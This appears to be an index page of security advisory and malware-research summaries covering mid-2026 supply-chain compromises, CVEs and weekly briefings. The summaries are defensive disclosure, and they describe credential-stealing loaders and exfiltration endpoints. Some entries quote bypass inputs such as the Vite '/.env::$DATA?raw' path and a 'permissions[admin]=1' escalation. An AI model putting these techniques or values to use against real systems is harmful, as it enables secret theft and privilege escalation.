A July 3 PyPI disclosure shows that Keras 3.14.x can treat `safe_mode=None` as effectively disabled during `Lambda` layer deserialization, letting attacker-controlled marshaled bytecode reach `func_load()` and become executable Python functions.
PolinRider expands from npm into Go, Packagist, and Chrome extension supply-chain poisoning
July 2026 research shows the PolinRider campaign reusing off-screen JavaScript loaders, VS Code task abuse, blockchain dead-drop staging, and Git-history rewrite tradecraft across 162 malicious artifacts spanning npm, Go modules, Packagist, and a Chrome extension.
CVE-2026-25707: `libzypp` lets hostile repository metadata escape the cache root
A late-June Linux package-manager disclosure shows that pre-17.38.10 `libzypp` trusted `../`-style repository metadata locations, allowing a hostile or compromised repo to steer mirrored files outside the intended cache directory during refresh and making repository trust an arbitrary local file overwrite boundary.
CVE-2026-55407: `buffa` and `connectrpc` amplify tiny protobuf payloads into Rust OOMs
A June 30 disclosure shows that pre-0.8.0 versions of the Rust crates `buffa` and `connectrpc` can inflate streams of unknown protobuf fields into outsized heap allocations, turning small untrusted messages into process-killing memory amplification.
CVE-2026-58302: LinuxCNC rtapi_app path traversal to root
LinuxCNC before 2.9.9 installs rtapi_app with elevated privileges and feeds user-controlled module names into dlopen() after formatting ${EMC2_RTLIB_DIR}/${name}.so. Without rejecting slashes or .. segments, an unprivileged local user can traverse out of the module directory and load an arbitrary shared library as root.
Weekly Briefing - 30-06-2026
Corgea's weekly briefing for 24-30 June 2026 covers the ImmobiliareLabs Backstage plugin compromise, Leo Platform's expanding Phantom Gyp/Miasma package wave, expr-eval's no-fix Node.js code-execution flaw, and Vite's Windows dev-server secret leak.
CVE-2026-13502: antlr4-maven-plugin build-state deserialization
CVE-2026-13502 affects org.antlr:antlr4-maven-plugin 4.13.0 through 4.13.2. The public disclosure frames it as a race around the plugin's dependency-status file, but the practical sink is unfiltered ObjectInputStream deserialization of build-directory state under target/maven-status/antlr4/dependencies.ser.
ImmobiliareLabs Backstage plugins compromised with Phantom Gyp Miasma payload
On 26 June 2026, 22 malicious patch releases hit four `@immobiliarelabs` Backstage plugin families. The poisoned npm artifacts added a `binding.gyp` trigger plus a new 5 MB root `index.js`, turning `npm install` into install-time code execution against environments that often hold GitLab, LDAP, CI, cloud, and developer-portal secrets.
CVE-2026-53571: Vite `server.fs.deny` bypass leaks protected files on Windows
Vite's dev server on Windows can leak `.env`, `.env.*`, and certificate files that developers expected `server.fs.deny` to block. The bypass uses NTFS alternate-data-stream path forms such as `/.env::$DATA?raw` and, in some cases, 8.3 short-name aliases, affecting `vite` before `6.4.3`, `7.3.5`, and `8.0.16` when the dev server is exposed beyond localhost and the target file sits in an allowed directory.
Leo Platform npm packages compromised with Phantom Gyp Miasma toolkit
On 24 June 2026, malicious versions of 23 Leo Platform npm packages were published in a six-second burst. Follow-up reporting on 25 June shows the wave was broader than the initial 20-package view: three additional prerelease connector packages were poisoned, `leo-sdk`'s `latest` dist-tag was redirected to the malicious `6.0.19` line, and the same Phantom Gyp plus Bun-staged payload family also overlapped with adjacent npm and source-repository poisoning activity.
CVE-2026-12866: `expr-eval` turns untrusted formulas into Node.js code execution
A newly published June 2026 npm vulnerability shows that every `expr-eval` release can compile attacker-influenced formulas into executable JavaScript through `Expression.prototype.toJSFunction()`, exposing Node.js services, internal tools, and CI helpers that treat user formulas as data.
Weekly Briefing - 23-06-2026
Corgea's weekly briefing for 17-23 June 2026 covers the Mastra npm scope takeover that weaponized easy-day-js across more than 140 packages, plus Nodemailer's newly disclosed raw-message file-read and SSRF bypass.
Nodemailer raw option bypasses disableFileAccess and disableUrlAccess
A newly published high-severity Nodemailer advisory shows that every version up to 9.0.0 can turn attacker-controlled `raw` message input into arbitrary local-file disclosure and full-response SSRF, because the `MailComposer` raw-message path drops the `disableFileAccess` and `disableUrlAccess` guards before `MimeNode` resolves `{ path }` or `{ href }` content.
Mastra npm scope takeover used easy-day-js to Trojanize 141-143 packages
On 17 June 2026, a compromised Mastra maintainer account republished 141 `@mastra/*` packages plus the top-level `mastra` and `create-mastra` packages with a new `easy-day-js: ^1.11.21` dependency that resolved to a weaponized `1.11.22` postinstall dropper, turning fresh npm installs into a detached second stage that established cross-platform persistence, profiled browsers and wallets, and, in Microsoft's 19 June follow-up, was tied to Sapphire Sleet activity that escalated some Windows hosts into PowerShell-backed, SYSTEM-level persistence.
GlassWASM used TinyGo WebAssembly and Solana memos in trojanized Open VSX extensions
Trojanized Open VSX copies of `ExarGD.vsblack@0.0.1` and `noellee-doc.flint-debug@0.1.1` cloned legitimate extension identities, auto-executed a TinyGo-compiled WebAssembly payload on startup, polled Solana JSON-RPC for memo-based command-and-control, and built OS-specific `child_process` download-and-execute commands for macOS, Linux, and Windows.
Weekly Briefing - 16-06-2026
Corgea's weekly briefing for 10-16 June 2026 covers the uncovered remainder of the week's research: the dbmux Phantom Gyp / Miasma compromise, Dulwich's Windows and format-patch path traversal fixes, libp2p's unauthenticated DHT disk-exhaustion flaw, and Spring's internally discovered WebFlux and static-resource DoS fixes.
CVE-2026-50010, 50011, 50020, and 50560: Netty 4.1.135 / 4.2.15 fix TLS, HTTP/1.1, HTTP/2, and Redis parser flaws
Netty's June security train matters to Maven teams because a custom trust manager can silently disable HTTPS hostname verification, `HttpObjectDecoder` can over-accept leading control bytes and enable request-boundary confusion, `RedisArrayAggregator` can allocate attacker-sized arrays, and HTTP/2 servers can be coerced into response-write failures via client-advertised header limits.
Weekly Briefing - 15-06-2026
Corgea's weekly briefing for 10-15 June 2026 covers the Atomic Arch AUR takeover, Netty's security-heavy 4.1.135 / 4.2.15 release, the onering crates compromise, and a late-breaking Open VSX extension attack that used TinyGo WebAssembly plus Solana memo-based C2.
Atomic Arch turned orphaned AUR packages into npm and Bun malware launchers
The June 11-12 Atomic Arch campaign adopted orphaned AUR packages, inserted `npm install atomic-lockfile` or Bun-based `js-digest` / `lockfile-js` fetches into package hooks, and used a malicious lifecycle script to execute `src/hooks/deps`, a Linux ELF infostealer with optional eBPF hiding logic across a verified `1,619` unique AUR package names.
CVE-2026-42305 and CVE-2026-47712: Dulwich 1.2.5 fixes Windows checkout abuse and format_patch path traversal
Dulwich before 1.2.5 accepts NTFS-hostile tree entries that can plant files under .git or escape the work tree on Windows, and it also derives format_patch filenames from unsanitized commit subjects, letting attacker-controlled commits write patch files outside the requested output directory.
CVE-2026-45783: @libp2p/kad-dht lets unauthenticated peers fill disk with unvalidated PUT_VALUE records
A newly published flaw in @libp2p/kad-dht before 16.2.6 allows any remote peer to stream crafted PUT_VALUE messages whose keys bypass record validation, turning DHT server nodes into unbounded disk sinks until the host or container runs out of storage.
CVE-2026-41840 and CVE-2026-41842: Spring 7.0.8 fixes WebFlux multipart and versioned-resource DoS flaws
Spring Framework 7.0.8 and 6.2.19 fix two newly disclosed denial-of-service flaws that matter to Maven-based application teams: a WebFlux multipart-processing leak reachable through hostile multipart bodies, and a static-resource resolution path that can pin connections when versioned filesystem assets are enabled.
dbmux npm package used Phantom Gyp to execute Miasma during install
The `dbmux` npm package was classified as critical malware after public tracking tied compromised `1.x` and `2.2.x` releases to Miasma's Phantom Gyp technique, where a weaponized `binding.gyp` forces `node-gyp rebuild` to execute a hidden loader during `npm install` even when `package.json` does not advertise lifecycle scripts.
onering 1.4.1 used Cargo build.rs to exfiltrate private source diffs
The compromised Rust crate `onering@1.4.1` added a 74-line `build.rs` that walks out of Cargo's `OUT_DIR`, runs `git log -n 1` and `git diff HEAD^ HEAD` against the consuming repository, and posts commit metadata plus the latest source diff to a Sentry ingest endpoint on every build.
Hades PyPI follow-on hit MCP packages and Python typosquats
On June 9, 2026, the Hades PyPI campaign expanded beyond the earlier scientific-package wave into MCP tooling and typo-squatted Python packages such as `openai-mcp`, `langchain-core-mcp`, `instructor-mcp`, `tiktoken-mcp`, `ray-mcp-server`, `rsquests`, `rlask`, and `tlask`, using `.pth` loaders, split staging, and native-extension triggers to launch a Bun-executed stealer.
Weekly Briefing - 09-06-2026
Corgea's weekly briefing for 2-9 June 2026 covers the Phantom Gyp Miasma npm wave, Hades' expansion into MCP-focused PyPI packages, the nvm mirror command injection flaw, and the now-exploited Oracle WebLogic T3/IIOP exposure issue.
CVE-2026-10796 lets hostile mirrors turn `nvm install` into shell RCE
A June 4 disclosure showed that nvm <= 0.40.4 trusted version fields from mirror index.tab metadata, letting hostile or MITM'd mirrors inject commands into both nvm_download() and nvm_get_checksum(). Version 0.40.5 fixes the issue by removing eval from downloader execution, passing tarball names to awk as data, and rejecting disallowed characters in mirror-supplied version strings.
CVE-2026-44488: Axios fetch adapter bypasses maxContentLength and maxBodyLength
Axios 1.7.0 through 1.15.x does not enforce configured request and response size limits when the fetch adapter is selected, allowing oversized uploads, downloads, and data: URL bodies to exhaust memory and CPU on server-side runtimes that relied on those limits as a security boundary.
Phantom Gyp Miasma hit Vapi, ai-sdk-ollama, and 55 more npm packages
A June 3-4 Miasma follow-on wave used a 157-byte binding.gyp file to force node-gyp command substitution during npm install, turning @vapi-ai/server-sdk, ai-sdk-ollama, and dozens of autotel, awaitly, executable-stories, and node-env-resolver packages into Bun-staged credential-stealing worm loaders while leaving their real dist/ code untouched.
CVE-2024-21182: Oracle WebLogic T3 and IIOP exposure is now exploited
CISA added CVE-2024-21182 to KEV after active exploitation of an Oracle WebLogic Server Core flaw that is reachable without authentication over T3 and IIOP and can expose all WebLogic-accessible data.
Miasma poisoned Red Hat Cloud Services npm packages through trusted publishing
A compromised Red Hat GitHub account pushed orphan commits into RedHatInsights repositories and used GitHub Actions OIDC trusted publishing to ship Miasma, a Bun-staged credential-stealing worm with GitHub dead-drop exfiltration and local persistence, across @redhat-cloud-services npm packages.
Weekly Briefing - 02-06-2026
Corgea's weekly briefing for 26 May-2 June 2026 covers the Red Hat Cloud Services Miasma npm compromise, private Gitea and Forgejo container-image exposure, the js-logger-pack MicrosoftSystem64 implant, banking-certificate theft through a malicious NuGet SDK, dependency-confusion reconnaissance, OpenSearch npm typosquats, CMS privilege escalations, and stored editor XSS.
CIFSwitch turns Linux CIFS SPNEGO upcalls into local root
CIFSwitch is a Linux kernel and cifs-utils privilege escalation where an unprivileged process can forge a cifs.spnego key request, make request-key launch cifs.upcall as root, and force NSS code execution inside an attacker-controlled namespace.
CVE-2026-27771 exposed private Gitea and Forgejo container images
CVE-2026-27771 is a Gitea container registry authorization flaw where unauthenticated requests could pull private OCI image manifests and layers from affected self-hosted instances, exposing application code, dependencies, and secrets baked into images.
roberts/leads Packagist dev branch hid a Famous Chollima blockchain loader
The Packagist package roberts/leads exposed a poisoned development branch as dev-drewroberts/feature/test-case, where tailwind.js appended obfuscated JavaScript that resolved payload material through TRON, Aptos, and BNB Smart Chain before executing it in Node.js.
oob.moika.tech npm campaign used dependency confusion to profile developer environments
Public reporting tied at least 179 malicious npm package-version records to an oob.moika.tech dependency-confusion campaign that abused internal-looking scopes, postinstall hooks, inflated versions, and detached JavaScript payloads to inventory developer and CI environments.
14 OpenSearch-themed npm typosquats stole AWS, Vault, GitHub, and npm secrets
A May 28 npm campaign published 14 OpenSearch, ElasticSearch, DevOps, and config lookalikes that executed during npm install, loaded a Bun-based credential harvester, and targeted cloud and CI/CD secrets.
CVE-2026-48864: libsolv .solv page decompression can overflow parser buffers
A high-severity libsolv flaw lets attacker-controlled .solv cache data reach unchecked decompression paths in repopagestore page loading, creating out-of-bounds memory access in tooling that parses untrusted package metadata caches.
js-logger-pack turns Hugging Face into a malware CDN and exfiltration backend
Recent js-logger-pack npm releases and related logger packages deliver MicrosoftSystem64, a cross-platform Node SEA implant that persists on Windows, macOS, and Linux, logs keystrokes, scans developer secrets, and uploads stolen data to private Hugging Face datasets.
Sicoob.Sdk NuGet impersonator steals mTLS certificates through Sentry telemetry
Malicious Sicoob.Sdk NuGet releases 2.0.0 through 2.0.4 impersonated an official Brazilian banking SDK, then exfiltrated client IDs, PFX passwords, base64-encoded PFX certificate archives, and boleto responses from the SicoobClient constructor.
TinyMCE CVE-2026-47759 through 47762 turn editor sanitization gaps into stored XSS
TinyMCE disclosed four high-severity stored-XSS vulnerabilities across npm, NuGet, and Composer packages, affecting data-mce-* attributes, nested SVG namespace handling, media plugin embeds, and forged mce:protected comments.
codexui-android npm package exfiltrates Codex OAuth tokens on startup
The npm package codexui-android, also pulled by Android apps at runtime, added registry-only code that reads Codex auth.json, XOR-encodes the full OpenAI OAuth token blob, and posts it to sentry.anyclaw.store on every launch.
@velora-dex/sdk 9.4.1 loaded a macOS MINIRAT backdoor on import
JINX-0164's npm compromise of @velora-dex/sdk 9.4.1 appended three registry-only lines to dist/index.js, causing any require() or import of the DeFi SDK to fetch a macOS shell dropper and install a Go backdoor with launchctl persistence.
CVE-2026-48172: exploited LiteSpeed cPanel plugin bug lets any tenant reach root
CISA added CVE-2026-48172 to KEV after active exploitation of LiteSpeed's User-End cPanel Plugin. A vulnerable Redis enable/disable JSON API path exposed to cPanel users can execute attacker-controlled scripts with root privileges on shared Linux hosting servers.
Joomla 5.4.6 and 6.1.1 patch com_users privilege-escalation paths
Joomla's 26 May security release fixes critical access-control failures in the com_users batch task and group-editing webservice endpoint. CVE-2026-48898 and CVE-2026-48904 affect Joomla CMS 4.0.0 through 5.4.5 and 6.0.0 through 6.1.0.
Snipe-IT 8.4.1 closes API admin escalation, component-note XSS, and open redirect flaws
Snipe-IT 8.4.1 fixes three newly published CVEs, led by CVE-2026-44832: an API permission-assignment bug where a user with users.edit could set permissions[admin]=1 on their own account.
CVE-2026-9082: exploited Drupal PostgreSQL SQL injection reaches KEV
CVE-2026-9082 is a highly critical Drupal core SQL injection in the PostgreSQL database abstraction path where crafted anonymous requests can influence query construction, leading to information disclosure, privilege escalation, and possible remote code execution; CISA added it to KEV after exploit attempts were observed in the wild.
Laravel-Lang tag rewrites turned Composer autoload into credential theft
The Laravel-Lang compromise rewrote trusted Composer tags across four community packages so that normal Laravel and Symfony bootstraps loaded a malicious src/helpers.php dropper through autoload.files, fetching a PHP stealer from flipboxstudio.info and targeting cloud, CI/CD, Kubernetes, Vault, browser, SSH, and developer secrets.
TrapDoor used npm, PyPI, and Crates.io lures to steal developer secrets
TrapDoor is a coordinated multi-registry malware campaign affecting 34 package names across npm, PyPI, and Crates.io, with ecosystem-specific execution paths for postinstall hooks, Python import-time remote JavaScript execution, and Rust build.rs scripts targeting crypto, DeFi, AI, and security developers.
Weekly Briefing - 26-05-2026
Corgea's weekly briefing for 19-26 May 2026 covers the GitHub internal repository breach tied to the Nx Console compromise, TrapDoor's multi-registry package malware campaign, exploited Drupal and Langflow KEV vulnerabilities, Laravel-Lang tag rewrites, TensorRT-LLM deserialization flaws, the art-template browser exploit-chain compromise, and a Linux ptrace local privilege escalation.
art-template npm compromise delivered a Coruna-like iOS exploit kit
Compromised npm releases of art-template appended browser-side script loaders to lib/template-web.js, sending downstream site visitors through hidden iframes into a Safari/iOS exploit delivery framework instead of only stealing developer secrets at install time.
CVE-2025-34291: Langflow CORS and refresh-token chain reaches RCE
CISA added CVE-2025-34291 to KEV after exploitation of a Langflow chain where wildcard credentialed CORS and a SameSite=None refresh-token cookie let a malicious webpage mint API tokens and reach authenticated code-execution endpoints.
CVE-2026-46333: Linux ptrace race leaks privileged file descriptors
CVE-2026-46333 is a Linux kernel ptrace authorization flaw where pidfd_getfd can race a dying privileged process after it drops credentials, duplicating sensitive file descriptors such as /etc/shadow, SSH host keys, or authenticated system D-Bus sockets.
NVIDIA TensorRT-LLM deserialization flaws expose distributed inference control paths
CVE-2025-33255 and CVE-2026-24142 affect NVIDIA TensorRT-LLM before 1.2, where unsafe deserialization in MPI and serialized weight-handle paths could turn crafted control-plane data into code execution, data tampering, information disclosure, or denial of service.
GitHub breached through a poisoned VS Code extension: 3,800 internal repositories stolen
TeamPCP exploited a cascading supply chain attack from TanStack to Nx Console to a GitHub employee workstation to exfiltrate approximately 3,800 private GitHub repositories containing infrastructure configs, deployment scripts, staging credentials, and internal API schemas.
Nx Console VS Code extension 18.95.0 shipped a developer credential stealer
A malicious 18.95.0 release of the Nx Console VS Code extension executed a hidden npx task on workspace activation, fetched an obfuscated Bun payload from a dangling nrwl/nx commit, harvested developer and cloud credentials, installed macOS persistence, and demonstrated the same auto-update path now tied to GitHub internal repository exposure.
shopsprint/decimal Go typosquat hides DNS TXT command backdoor
The typosquatted Go module github.com/shopsprint/decimal copied the popular shopspring/decimal API, then weaponized version 1.3.3 with an init() goroutine that polls DNS TXT records and executes returned commands.
CVE-2026-25244: WebdriverIO BrowserStack Service executes Git branch names in shell commands
WebdriverIO BrowserStack Service versions through 9.23.2 interpolate attacker-controlled Git branch names into execSync() calls during test orchestration smart selection, allowing command injection on CI runners and developer machines.
Mini Shai-Hulud npm worm hits AntV, echarts-for-react, and timeago.js
TeamPCP's Mini Shai-Hulud campaign expanded on May 19 with hundreds of malicious npm releases across the AntV data-visualization ecosystem and related packages including echarts-for-react, timeago.js, size-sensor, and jest-canvas-mock.
durabletask PyPI releases backdoored with multi-cloud credential stealer
Three malicious PyPI releases of Microsoft's durabletask Python SDK, versions 1.4.1 through 1.4.3, executed an import-time Linux dropper that fetched rope.pyz, harvested cloud and developer secrets, and attempted lateral movement through AWS SSM and Kubernetes.
Weekly Briefing - 19-05-2026
Corgea's weekly briefing for 12-19 May 2026 covers the durabletask PyPI compromise, the Mini Shai-Hulud expansion into AntV and related npm packages, the Nx Console extension compromise, WebdriverIO command injection, and other important supply-chain, kernel, and application-security research from the week.
Backdoored Cemu Linux release assets reused TeamPCP credential-stealer payload
Cemu v2.6 Linux GitHub release assets were deleted and re-uploaded with a Python zipapp payload tied to the TanStack and Mistral TeamPCP supply-chain campaign, exposing users who ran the AppImage or Ubuntu ZIP to credential theft and possible destructive behavior.
Strapi advisory cluster exposes admin token oracle and content-builder SQL injection
Five Strapi advisories published in mid-May affect npm packages across the Strapi CMS stack, including a critical unauthenticated admin reset-token oracle in @strapi/strapi and a critical Content-Type Builder SQL injection in @strapi/content-type-builder and @strapi/plugin-content-type-builder.
MAL-2026-3744: node-ipc npm releases backdoored with DNS exfiltration stealer
Three npm releases of node-ipc, versions 9.1.6, 9.2.3, and 12.0.1, were published with an obfuscated CommonJS payload that steals developer and CI credentials and exfiltrates gzipped archives through DNS TXT queries.
Fragnesia: Linux ESP-in-TCP bug revives page-cache root escalation
CVE-2026-46300, nicknamed Fragnesia, is a new Linux kernel XFRM ESP-in-TCP local privilege escalation that lets unprivileged local attackers corrupt read-only file contents in page cache and execute a root shell from a patched-in-memory system binary.
GemStuffer abuses RubyGems as a data-exfiltration channel
GemStuffer is a RubyGems registry-abuse campaign that published 155 junk package artifacts containing scraped UK council portal data, using hardcoded RubyGems API keys and valid .gem archives as a public data drop.
CVE-2026-41242: protobufjs can execute code from attacker-controlled schemas
protobufjs before 7.5.5 and 8.0.1 can turn schema metadata into executable JavaScript through unsafe runtime code generation, exposing Node.js services that load attacker-influenced protobuf definitions or JSON descriptors.
Dirty Frag: Linux kernel ESP and RxRPC flaws enable local root escalation
Dirty Frag chains CVE-2026-43284 in Linux kernel ESP/IPsec handling with CVE-2026-43500 in RxRPC to turn local access into root on many Linux distributions, with public proof-of-concept code available before broad vendor patch coverage.
Five malicious IR.* NuGet packages impersonate Chinese .NET libraries
A NuGet campaign published five IR.* packages under the bmrxntfj account, using functional .NET library wrappers plus a Reactor-protected infostealer to target browser credentials, SSH keys, cloud secrets, and crypto wallets across developer workstations and CI systems.
Mini Shai-Hulud Supply-Chain Worm Compromises TanStack, Mistral AI, UiPath, and 160+ npm Packages
TeamPCP launched a coordinated supply-chain attack against the npm and PyPI ecosystems, compromising 373 malicious package versions across 169 package names including @tanstack/react-router, @mistralai/mistralai, and @uipath packages. TanStack's npm compromise is now tracked as CVE-2026-45321, and the BeProduct slice of the same worm wave is now separately tracked as CVE-2026-46412.
CVE-2026-6907: Django cache middleware mishandles Vary: *
Django's UpdateCacheMiddleware could cache responses that explicitly declared themselves uncacheable for shared caches, creating a path for private data exposure.
No matching content found.